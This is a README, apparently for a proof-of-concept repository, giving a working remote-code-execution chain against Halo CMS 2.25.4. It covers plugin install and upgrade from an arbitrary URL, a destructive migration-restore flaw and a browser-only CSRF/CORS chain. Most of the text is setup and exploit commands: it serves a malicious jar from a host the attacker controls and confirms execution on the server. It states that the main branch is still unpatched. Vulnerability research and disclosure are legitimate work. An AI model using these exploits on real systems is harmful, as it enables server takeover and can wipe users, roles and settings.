
halo cms 插件单请求 RCE(通过 URL),PoC + 漏洞利用链
Halo 的控制台允许管理员通过粘贴 URL 来安装和升级插件。它会获取任意 URL,安装 jar,而 jar 中的代码会在服务器上运行。不检查 scheme、不检查主机、跟随重定向,插件管理器会直接从 jar 中加载扩展类。
这就是 cve-2026-67919(install-from-uri / upgrade-from-uri)、cve-2026-67920(迁移恢复)、cve-2026-67921(csrf/cors 链)。这三者均已在 2026 年 8 月的 docker 实验环境中针对 halohub/halo:2.25.4 验证通过。main 分支仍未修复。
有趣的是:这也是一条仅凭浏览器即可完成的攻击链。控制台 API 不检查 xsrf token,会话 cookie 为 samesite=none,cors 会随凭据反射任意来源。管理员访问的页面可以完全通过 fetch() 完成这一切。参见 exploit/csrf.html。
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
从宿主机提供 jar(绑定到 0.0.0.0,容器通过 host.docker.internal 访问宿主机):
python3 -m http.server 8123
构建恶意插件(需要 jdk 17):
cd plugin && sh build.sh
然后:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
任何已安装的插件都可以通过单个请求被替换;jar 只需要相同的 metadata.name 和更高的版本。poc-sitemap.jar 就是针对内置 PluginSitemap(1.x -> 2.0.0)的这种变体。
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
打开 exploit/csrf.html,将其指向你的 halo,点击即可。这就是 cve-2026-67921 -> cve-2026-67919 链:无需 xsrf 头,会话 cookie 跨站发送,cors 允许读回。
只有管理员,无论 cisa 的描述怎么说。匿名用户得到 302,访客得到 403,管理员则能执行代码。csrf 链让它更有意思,因为页面运行时管理员已经登录。
恢复功能会获取任意 URL(另一个 fetch 原语),将 zip 的 workdir/ 未经清理地写入 halo 工作目录,并用备份的内容替换整个扩展存储。空的 extensions.data 会清除用户、角色绑定和设置。仅在一次性测试机上使用 exploit/migration_restore.py。
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
对于单请求变体,编辑 plugin/plugin.yaml(metadata.name + version)并重新构建;或者对已安装 PluginSitemap 的 halo 使用预构建的 poc-sitemap.jar。
免责声明:仅供对你拥有的系统进行研究。尤其是迁移那个,会彻底摧毁其运行所在的实例。
chris jagdeo (k0nnect)